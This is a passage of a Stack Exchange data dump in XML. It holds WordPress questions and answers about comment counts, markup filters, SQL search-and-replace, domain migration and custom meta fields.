  <row Id="4907" PostTypeId="1" AcceptedAnswerId="4908" CreationDate="2010-12-06T06:12:48.747" Score="3" ViewCount="98" Body="&lt;p&gt;Recently, I had to move to another domain and had to recreate all my MySQL tables on the enw server. I noticed that for some posts, the number of comments is doubled. Example - &lt;a href=&quot;http://inversekarma.in/scraps/you-dont-mess-with-the-rajinikanth/&quot; rel=&quot;nofollow&quot;&gt;http://inversekarma.in/scraps/you-dont-mess-with-the-rajinikanth/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above post, there's only 4 comments, but the comment count shoes 8 comments. I am not sure it is not a theme-related issue, as this happens only for a few posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how to write a MySQL query to recount the comments for all posts? Or maybe a plugin?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-12-06T08:09:47.443" Title="Resetting comment count" Tags="&lt;comments&gt;&lt;database&gt;&lt;errors&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="4908" PostTypeId="2" ParentId="4907" CreationDate="2010-12-06T07:03:44.970" Score="4" ViewCount="" Body="&lt;p&gt;Try this code:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;WARNING: THIS IS JUST PSEUDOCODE!&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entries = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM wp_posts WHERE post_type IN ('post', 'page')&quot;);&#xA;&#xA;foreach($entries as $entry)&#xA;{&#xA;    $post_id = $entry-&amp;gt;ID;&#xA;    $comment_count = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*) AS comment_cnt FROM wp_comments WHERE comment_post_ID = '$post_id' AND comment_approved = '1'&quot;);&#xA;    $wpdb-&amp;gt;query(&quot;UPDATE wp_posts SET comment_count = '$comment_count' WHERE ID = '$post_id'&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or &lt;a href=&quot;http://wordpress.org/support/topic/comment-count-zero-after-import&quot; rel=&quot;nofollow&quot;&gt;you might want to try solution from this page&lt;/a&gt; (although it's not the proper way as you will add another query for every post)&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-12-06T07:03:44.970" CommentCount="6" />
  <row Id="4909" PostTypeId="1" AcceptedAnswerId="4956" CreationDate="2010-12-06T07:41:25.577" Score="0" ViewCount="173" Body="&lt;p&gt;Title is little bit :S&#xA;sorry :)&#xA;For example,we have paginate links function that output html something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class='page-numbers current'&amp;gt;some number&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I filter that,to remove that span,class,to apply my own html tags,styles,tnx in advance.I just want to apply my own styles and html tags,is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditorDisplayName="" LastEditDate="2010-12-06T07:48:37.677" LastActivityDate="2010-12-06T22:23:00.027" Title="Add filter on html tags,attributes on specific function in wordpress" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;theme-development&gt;" AnswerCount="3" />
  <row Id="4910" PostTypeId="2" ParentId="4909" CreationDate="2010-12-06T07:50:58.233" Score="1" ViewCount="" Body="&lt;p&gt;I think the best way to do it would be to copy that function (wp-includes/general-template.php, line 1943) and create your own with the markup you want.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-12-06T07:50:58.233" CommentCount="3" />
  <row Id="4911" PostTypeId="2" ParentId="4906" CreationDate="2010-12-06T07:55:24.923" Score="3" ViewCount="" Body="&lt;p&gt;Just name the field 'excerpt'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;excerpt&quot; id=&quot;excerpt&quot;&amp;gt;&amp;lt;?php echo esc_html( '$post-&amp;gt;post_excerpt' ); ?&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;!-- if it is a textarea field --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;excerpt&quot; id=&quot;excerpt&quot; value=&quot;&amp;lt;?php echo esc_attr( '$post-&amp;gt;post_excerpt' ); ?&amp;gt;&quot; /&amp;gt; &amp;lt;!-- if it is a text field --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-12-06T08:01:03.750" LastActivityDate="2010-12-06T08:01:03.750" CommentCount="2" />
  <row Id="4912" PostTypeId="2" ParentId="4907" CreationDate="2010-12-06T08:09:47.443" Score="4" ViewCount="" Body="&lt;p&gt;Seems to be a common problem. Try this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/web-ninja-comment-count-fixer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/web-ninja-comment-count-fixer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2010-12-06T08:09:47.443" CommentCount="3" />
  <row Id="4913" PostTypeId="2" ParentId="4906" CreationDate="2010-12-06T08:14:01.357" Score="1" ViewCount="" Body="&lt;p&gt;This would be a function to update the post_excerpt with a field with the name 'my_custom_field'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_custom_save_function($post_id){&#xA;    update_post(array('ID' =&amp;gt; $post_id, 'post_excerpt' =&amp;gt; $_POST['my_custom_field']));&#xA;}&#xA;add_action('save_post', 'my_custom_save_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditorDisplayName="" LastEditDate="2010-12-06T09:25:19.783" LastActivityDate="2010-12-06T09:25:19.783" CommentCount="2" />
  <row Id="4914" PostTypeId="1" CreationDate="2010-12-06T09:21:37.860" Score="2" ViewCount="980" Body="&lt;p&gt;I see there are a lot of plugins to create tabbed widget in side-bar:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/fun-with-sidebar-tabs/&quot; rel=&quot;nofollow&quot;&gt;Fun with tabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-2-tabs-jquery-tabs/&quot; rel=&quot;nofollow&quot;&gt;Post 2 tabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hybrid-tabs/&quot; rel=&quot;nofollow&quot;&gt;Hybrid Tabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-tabs-slides/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Tabs Slides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/horizontal-tab-menu-widget/&quot; rel=&quot;nofollow&quot;&gt;AmR Tab Menu Navigation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tabbed-widgets/&quot; rel=&quot;nofollow&quot;&gt;Tabbed Widgets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Which one is the best in configuration, speed and code-optimized? &#xA;If any other plugin, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-06T11:48:41.380" LastActivityDate="2011-06-06T06:58:10.200" Title="Which tabs widget plugin for wordpress is better?" Tags="&lt;plugin-recommendation&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="4915" PostTypeId="2" ParentId="4724" CreationDate="2010-12-06T10:52:03.680" Score="0" ViewCount="" Body="&lt;p&gt;Forgive me if I've missed something, but would it not be as simple as;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_object_in_term($post-&amp;gt;ID, 'region', 'rotterdam'))&#xA;    the_category(); // displays categories associated with current post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the admin, are you attaching the post to both 'pizzerias' and 'food' (by ticking both checkboxes), or just 'pizzerias'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter, &lt;code&gt;the_category()&lt;/code&gt; won't show 'Food' by default, so you'll have to grab the category hierarchy yourself.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-06T10:52:03.680" CommentCount="3" />
  <row Id="4916" PostTypeId="2" ParentId="4914" CreationDate="2010-12-06T11:47:18.090" Score="1" ViewCount="" Body="&lt;p&gt;I am using Hybrid Tabs (mostly dealing with Hybrid theme):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it is light and robust&lt;/li&gt;&#xA;&lt;li&gt;clean code and inline documentation&lt;/li&gt;&#xA;&lt;li&gt;easy to create custom tabs by code (via callback function)&lt;/li&gt;&#xA;&lt;li&gt;not so easy if you want to customize tabs in admin (I had coded special sidebar for myself that exposes widgets in it as available tabs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-06T11:47:18.090" />
  <row Id="4917" PostTypeId="2" ParentId="4909" CreationDate="2010-12-06T11:55:40.363" Score="0" ViewCount="" Body="&lt;p&gt;There are several possible ways to customize markup, it depends on specific function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lookup function on deeper level that is used to retrieve data, use it with own markup;&lt;/li&gt;&#xA;&lt;li&gt;check if output is passed through filter, use filter to make replacements;&lt;/li&gt;&#xA;&lt;li&gt;markup is generated with walker class, create own walker and pass it to function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are probably more ways, but I think these are common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall I think WP markup is reasonably usable and semantic. Most cases I had too mess with it are JS stuff requiring very specific markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you consider it may be more consistent and viable to make CSS fit generic markup?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-06T11:55:40.363" />
  <row Id="4918" PostTypeId="1" AcceptedAnswerId="4923" CreationDate="2010-12-06T12:57:35.230" Score="1" ViewCount="217" Body="&lt;p&gt;I had used the ZD Video Plugin for WP a long time, and now, since my move to WP 3.0.2, it doesn't work anymore. To embed a YouTube video using the plugin, I would just write&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[zdvideo]url-of-youtube-video[/zdvideo]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I need to go back to plain YouTube embedding. How do I write a MySQL query that searches for &lt;code&gt;[zdvideo]*[zdvideo]&lt;/code&gt; and replaces it with &lt;code&gt;*&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-12-06T22:16:41.593" Title="Search and replace text across all posts" Tags="&lt;plugins&gt;&lt;search&gt;&lt;mysql&gt;&lt;query&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4919" PostTypeId="1" CreationDate="2010-12-06T13:12:01.187" Score="1" ViewCount="463" Body="&lt;p&gt;When I first heard about custom post types I thought it would solve an old &quot;problem&quot; I have, so I was thrilled.&lt;br&gt;&#xA;But when I tried to setup something I couldn't achieve what I want.&lt;br&gt;&#xA;So I'd like to know if I'm using WP tools correctly, or if there is a plugin (or a combination of plugins) that would do what I want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt; :&lt;br&gt;&#xA;On my blog I have several categories that contains &quot;copy pasted posts&quot;, which are posts that have a static structure and where only a few information change (a category = a specific post &quot;format&quot;). So to create it, I copy/paste an old one and replace a few things (some urls, titles...). &lt;strong&gt;There are a dozen of these&lt;/strong&gt;.&lt;br&gt;&#xA;I use a site template found on WP.com, but heavily modified &lt;strong&gt;and single.php has a lot of content&lt;/strong&gt; that I don't want to copy/paste to other files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt; :&lt;br&gt;&#xA;I tried to use a plugin to manage custom post types. The idea was to define a post type for each category. I think this is the intended use, but my problem is that &lt;strong&gt;I don't want to duplicate the single.php&lt;/strong&gt; because any modification of my template would imply that I have to edit a dozen of files and all of my &quot;custom types&quot; are all almost the same as &quot;normal&quot; posts, it's only their content that is fixed. And it also implies to edit other files : search results, listings...&lt;br&gt;&#xA;Moreover &lt;strong&gt;I see some possible issues&lt;/strong&gt; here : as the post titles are not defined and are dependant on the custom fields content, I'm afraid that the search may not work on them (I didn't try it though).&lt;br&gt;&#xA;Moreover I prefer to be able to define the post content template as &quot;WP admin&quot; (through UI) instead of &quot;WP developer&quot; (through file editing &amp;amp; FTP).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I would ideally want&lt;/strong&gt; :&lt;br&gt;&#xA;So I imagined another solution, but I don't know how feasible it is :&lt;br&gt;&#xA;I'd like the mix of two plugins : &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/ultimate-post-type-manager/&quot; rel=&quot;nofollow&quot;&gt;Ultimate Post Type Manager&lt;/a&gt;&quot; and &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-post-template/&quot; rel=&quot;nofollow&quot;&gt;Simple post template&lt;/a&gt;&quot; (this plugin allows to define a default post content. It adds a button on the &quot;new post&quot; page which, when clicked, fills the post body with a predefined content).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like, when I create a custom post type to &lt;strong&gt;define a default post body (and title).&lt;/strong&gt; (as it is possible with &quot;Simple post template&quot; but this plugin only allows the creation of &lt;strong&gt;one&lt;/strong&gt; global post template only).&lt;br&gt;&#xA;As we can define custom fields, I'd like to be able to put fields replacement tokens in that content template.&lt;br&gt;&#xA;The result would be that when I click on &quot;Add new [my type]&quot; for my custom post type, I don't see a title or body field, but &lt;strong&gt;only my custom fields&lt;/strong&gt;.&lt;br&gt;&#xA;When I click on publish, it would fill the title and body with the content defined with the tokens replaced by the value entered in the fields and save it to the database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it would create the &lt;strong&gt;post layout&lt;/strong&gt; from some data entered in a form &lt;strong&gt;before&lt;/strong&gt; writing it in the database while the common use is to set the layout at &quot;display time&quot;, a kind of &quot;creation-side&quot; template (versus a &quot;display-side&quot;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is quite agains the &quot;less display instructions in DB, more in template&quot;, but I prefer this way in my situation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm I thinking it in a wrong way (You have the right to say that it is a total nonsense !) ? Is there already something that would allow me do to that ?&lt;br&gt;&#xA;What would be my best solution to get something similar ?&lt;br&gt;&#xA;After some thinking, I'm not sure using custom post types is a good idea here... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Updated&lt;/strong&gt; :&lt;br&gt;&#xA;Rephrased, edited layout, added details &amp;amp; links.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="475" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T18:23:30.137" LastActivityDate="2011-02-05T18:23:30.137" Title="Custom post type content using custom fields without template" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;template&gt;&lt;cms&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4920" PostTypeId="2" ParentId="4724" CreationDate="2010-12-06T13:22:21.413" Score="0" ViewCount="" Body="&lt;p&gt;General idea - query for specific set of posts, gather all of their categories, filter, let function beat them in shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generic code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts(array(&#xA;    'tag' =&amp;gt; 'linux'&#xA;));&#xA;&#xA;$categories = array();&#xA;&#xA;foreach( $posts as $post ) {&#xA;&#xA;    $cats = get_the_category($post-&amp;gt;ID);&#xA;&#xA;    foreach($cats as $c)&#xA;        $categories[] = $c-&amp;gt;term_id;&#xA;}&#xA;&#xA;$categories = array_unique($categories);&#xA;sort($categories);&#xA;$categories = implode(',', $categories);&#xA;&#xA;$result = get_categories(array(&#xA;    'include' =&amp;gt; $categories&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Issues are - as I remember decent queries for multiple taxonomies will only come in WP 3.1 and this might get very intensive so will take caching (probably for each &lt;code&gt;region&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-06T13:22:21.413" CommentCount="3" />
  <row Id="4921" PostTypeId="2" ParentId="4918" CreationDate="2010-12-06T13:25:42.847" Score="4" ViewCount="" Body="&lt;p&gt;Best I'm aware, MySQL doesn't have much of a regexp replace functionality -- not to mention its very clunky regexp syntax. So this is easiest to do at the php level. Start by fetching all posts that have the shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = $wpdb-&amp;gt;get_results(&quot;&#xA;SELECT ID, post_content&#xA;FROM $wpdb-&amp;gt;posts&#xA;WHERE post_content LIKE '%[zdvideo]%'&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then loop through the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($posts as $post) {&#xA;  $post-&amp;gt;post_content = preg_replace(&#xA;    &quot;/\\[zdvideo\\](.+?)\\[\\/zdvideo\\]/&quot;,&#xA;    &quot;$1&quot;, # $1 holds the url... format as needed&#xA;    $post-&amp;gt;post_content);&#xA;&#xA;  # Be sure to verify on a few posts before actually saving...&#xA;  # var_dump($post-&amp;gt;post_content);&#xA;&#xA;  $wpdb-&amp;gt;query(&quot;&#xA;  UPDATE $wdpb-&amp;gt;posts&#xA;  SET post_content = &quot; . $wpdb-&amp;gt;escape($post-&amp;gt;post_content) . &quot;&#xA;  WHERE ID = &quot; . intval($post-&amp;gt;ID)&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-06T13:25:42.847" />
  <row Id="4922" PostTypeId="2" ParentId="4897" CreationDate="2010-12-06T13:36:08.100" Score="0" ViewCount="" Body="&lt;p&gt;You may want to try using the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;WordPress Members plugin&lt;/a&gt; to do what you want. Depending on your requirements this can be tricky to implement if you are not too familiar with extending WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin should provide the functionality you want however ie. a font-end page to manage their profile from.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2010-12-06T13:36:08.100" />
  <row Id="4923" PostTypeId="2" ParentId="4918" CreationDate="2010-12-06T13:37:17.157" Score="5" ViewCount="" Body="&lt;p&gt;What about these two queries?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts SET post_content = REPLACE(post_content, '[zdvideo]', '');&#xA;UPDATE wp_posts SET post_content = REPLACE(post_content, '[/zdvideo]', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-06T13:37:17.157" CommentCount="3" />
  <row Id="4924" PostTypeId="1" AcceptedAnswerId="4925" CreationDate="2010-12-06T13:47:25.893" Score="1" ViewCount="93" Body="&lt;p&gt;I'm sure there is a simple reason/answer for this: Why does &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo 'Archive for '. the_time('Y');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;give me &lt;code&gt;2010Archive for&lt;/code&gt;? I had expected it would give me &#xA;&lt;code&gt;Archive for 2010&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2010-12-06T13:52:28.373" LastActivityDate="2010-12-06T14:03:18.460" Title="Why does this echo values in the wrong order?" Tags="&lt;php&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="4925" PostTypeId="2" ParentId="4924" CreationDate="2010-12-06T14:03:18.460" Score="5" ViewCount="" Body="&lt;p&gt;As most template tags that start with &lt;code&gt;the_&lt;/code&gt; this one echoes time and not returns it (which template tags that start with &lt;code&gt;get_the_&lt;/code&gt; do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First &lt;code&gt;the_time()&lt;/code&gt; fires and echoes year, then its return (&lt;code&gt;null&lt;/code&gt;) gets concatenated and echoed with string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Archive for ';&#xA;the_time('Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Archive for ' . get_the_time('Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-06T14:03:18.460" CommentCount="1" />
  <row Id="4926" PostTypeId="1" CreationDate="2010-12-06T14:05:12.173" Score="0" ViewCount="227" Body="&lt;p&gt;I'm having problems moving a wordpress site from one domain to another. I've searched the site but couldn find a useful answer for my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what i did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a backup of the website. Then i exported the database. Then i installed Wordpress on the other domain. Then i copied all my Wordpress files of the old website on the new server overwriting the new installation. Then i deleted everything from the database on the new server and imported the database of the old server. Then i changed the database name and bpassword in the wp-config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i did all this but the new site isn't working, and i don't know where it went wrong? So i'd like to start over, but what should i do different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou for your help!&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2010-12-06T14:48:07.983" Title="Problems with moving my Wordpress site to another domain/server" Tags="&lt;database&gt;&lt;sql&gt;" AnswerCount="3" />
  <row Id="4927" PostTypeId="2" ParentId="4926" CreationDate="2010-12-06T14:14:51.250" Score="1" ViewCount="" Body="&lt;p&gt;Are you moving WP to new server and domain or new server only? I mean will URL remain the same or will be changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several things that can go wrong and it is hard to say from details you provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there might be something wrong with your new WP installation, had you just tried clean empty install of WP?&lt;/li&gt;&#xA;&lt;li&gt;there might be something wrong with database move and/or configuration.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress to a New Server&lt;/a&gt; in Codex for general info.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-06T14:14:51.250" CommentCount="1" />
  <row Id="4928" PostTypeId="2" ParentId="4926" CreationDate="2010-12-06T14:15:26.007" Score="1" ViewCount="" Body="&lt;p&gt;You forgot to search + replace in the .sql file. (I assume you did the export with phpmyadmin). Search for www.olddomain.tld and replace it with www.newdomain.tld&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log into WP-Admin and update the permalink structure, then everything should be ok.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-12-06T14:15:26.007" CommentCount="2" />
  <row Id="4929" PostTypeId="2" ParentId="4926" CreationDate="2010-12-06T14:48:07.983" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but as soon as i overwrite it with the&#xA;  other files it breaks...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What exactly does that mean? When you overwrite the old theme with the new theme? Do you have hardcoded URLs in the theme that you moved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When moving a database from one domain to another (in addition to reading See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress « WordPress Codex&lt;/a&gt;), you may need to use these queries in phpmyadmin to change URLs in the database for site options, post URLs and post/page/image URLs in the post/page content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-06T14:48:07.983" />
  <row Id="4930" PostTypeId="2" ParentId="4558" CreationDate="2010-12-06T16:15:34.697" Score="1" ViewCount="" Body="&lt;p&gt;This code will allow you to set a custom meta value, and if the domain name (or subdomain if you edit the code) matches it, the query will be changed to match that post. The page template will only be used for that request, not for requests via the &quot;normal&quot; URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not change links on that page: should they go to the &quot;normal&quot; site or stay in the subdomain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you solve this on the DNS side is probably &lt;a href=&quot;http://serverfault.com/questions/12124/wildcard-dns-and-subdomains&quot;&gt;a Server Fault question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WPSE4558_STANDARD_SERVER', 'www.example.com' );&#xA;define( 'WPSE4558_META_KEY', 'domainname' );&#xA;&#xA;add_filter( 'request', 'wpse4558_request' );&#xA;function wpse4558_request( $query_vars )&#xA;{&#xA;    $query_vars['is_subdomain_request'] = false;&#xA;    if ( WPSE4558_STANDARD_SERVER != $_SERVER['SERVER_NAME'] ) {&#xA;        $query_vars['meta_key'] = WPSE4558_META_KEY;&#xA;        // This can also be just the subdomain, if you edit it&#xA;        $query_vars['meta_value'] = $_SERVER['SERVER_NAME'];&#xA;        $query_vars['is_subdomain_request'] = true;&#xA;&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&#xA;add_action( 'parse_query', 'wpse4558_parse_query' );&#xA;function wpse4558_parse_query( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;get( 'is_subdomain_request' ) ) {&#xA;        $wp_query-&amp;gt;is_home = false;&#xA;        $wp_query-&amp;gt;is_page = true;&#xA;        $wp_query-&amp;gt;is_singular = true;&#xA;    }&#xA;}&#xA;&#xA;add_filter( 'page_template', 'wpse4558_page_template' );&#xA;function wpse4558_page_template( $template )&#xA;{&#xA;    global $wp_query;&#xA;    $id = $wp_query-&amp;gt;get_queried_object_id();&#xA;    if( ! $wp_query-&amp;gt;get( 'is_subdomain_request' ) &amp;amp;&amp;amp; get_post_meta( $id, WPSE4558_META_KEY ) ) {&#xA;        // This is a page that has a subdomain attached, but the current request is not via that subdomain&#xA;        // So use the normal template hierarchy, ignore the page template&#xA;        $templates = array();&#xA;        $pagename = $wp_query-&amp;gt;get_queried_object()-&amp;gt;post_name;&#xA;        if ( $pagename ) {&#xA;            $templates[] = &quot;page-$pagename.php&quot;;&#xA;        }&#xA;        if ( $id ) {&#xA;            $templates[] = &quot;page-$id.php&quot;;&#xA;        }&#xA;        $templates[] = &quot;page.php&quot;;&#xA;        $template = locate_template( $templates );&#xA;    }&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-06T16:15:34.697" CommentCount="2" />
  <row Id="4931" PostTypeId="1" AcceptedAnswerId="4941" CreationDate="2010-12-06T16:34:04.260" Score="1" ViewCount="279" Body="&lt;p&gt;I have two custom meta fields that I've enabled for each post, scottb_customHeader and scottb_customTitle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These work fine as long as I'm using the full edit feature to edit posts. However, when I click &quot;Quick Edit&quot;, then click &quot;Update&quot;, my custom meta values for the post are cleared out. What do I need to do to resolve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'custom_add_save');&#xA;&#xA;&#xA;function custom_add_save($postID){&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $postID;&#xA;    }&#xA;    else&#xA;    {&#xA;        // called after a post or page is saved&#xA;        if($parent_id = wp_is_post_revision($postID))&#xA;        {&#xA;        $postID = $parent_id;&#xA;        }&#xA;&#xA;        if ($_POST['scottb_customHeader']) &#xA;        {&#xA;            update_custom_meta($postID, $_POST['scottb_customHeader'], '_scottb_customHeader');&#xA;        }&#xA;        else&#xA;        {&#xA;            update_custom_meta($postID, '', '_scottb_customHeader');&#xA;        }&#xA;        if ($_POST['scottb_customTitle']) &#xA;        {&#xA;            